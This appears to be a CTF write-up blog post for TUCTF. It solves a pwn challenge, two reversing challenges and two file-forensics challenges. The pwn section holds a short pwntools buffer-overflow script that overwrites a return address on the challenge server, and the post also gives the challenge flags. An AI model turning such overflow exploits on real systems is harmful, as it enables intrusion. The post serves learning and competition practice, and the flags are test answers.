Introduction

Should really be studying for upcoming test.


Pwn

The First

Running info functions in gdb, we see that there is a printFlag function. Just overflow the buffer and jump to the function to get the flag. Exploit script is as follows,

from pwn import *

payload = 'A'*24+'\xf6\x91\x04\x08'

r = remote('chal.tuctf.com', 30508)

r.recvuntil('>')
r.send(payload)
r.interactive()

Reversing

Faker

Decompiled in ghidra and rewrote in python. Notice the parameters printFlag is called with. Used that to get the flag.

param1 = "\\PJ\\fC|)L0LTw@Yt@;Twmq0Lw|qw@w2$a@0;w|)@awmLL|Tw|)LwZL2lhhL0k"
flag=''
for i in range(len(param1)):
	flag+=chr(((((ord(param1[i])^0xf)-0x1d)*8)%0x5f)+0x20)

print flag

Flag: TUCTF{7h3r35_4lw4y5_m0r3_70_4_b1n4ry_7h4n_m3375_7h3_d3bu663r}

Object

Decompile in ghidra and reconstructed the program in python.

password=[0xfd, 0xff, 0xd3, 0xfd, 0xd9, 0xa3, 0x93, 0x35, 0x89, 0x39, 0xb1, 0x3d, 0x3b, 0xbf, 0x8d, 0x3d, 0x3b, 0x37, 0x35, 0x89, 0x3f, 0xeb, 0x35, 0x89, 0xeb, 0x91, 0xb1, 0x33, 0x3d, 0x83, 0x37, 0x89, 0x39, 0xeb, 0x3b, 0x85, 0x37, 0x3f, 0xeb, 0x99, 0x8d, 0x3d, 0x39, 0xaf, 0x00]
flag=''
for i in range(len(password)):
	c = password[i]
	flag+= chr(((c^255)^0xaa)>>1)
print flag

Flag: TUCTF{c0n6r47ul4710n5_0n_br34k1n6_7h15_fl46}

Misc

Onions

We are given an image. Naturally, the first thing I did was inspect the image exif for anything that stands out. But there’s nothing special to be seen there. Tried running foremost on the file to extract hidden files, no result either. Running binwalk we get,

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
275566        0x4346E         7-zip archive data, version 0.4

Since foremost couldn’t extract the file, maybe binwalk -e can. No result…

In that case, lets just straight up unzip the image with 7z e shrek.jpg. That surprisingly worked… Now we just continue unzipping the archives that pop out until we get the flag.

Flag: TUCTF{F1L3S4R3L1K30N10NSTH3YH4V3L4Y3RS}

Super Secret

We are given an ODT file. When trying to open it, LibreOffice asks us if we want to enable macros. Hmm.. maybe there’s something there. To further inspect the file, we unzip it and we see a suspicious file flag.xml, and in it lies our flag.

Flag: TUCTF{ST0P_TRUST1NG_M4CR0S_FR0M_4N_UNKN0WN_S0URC3}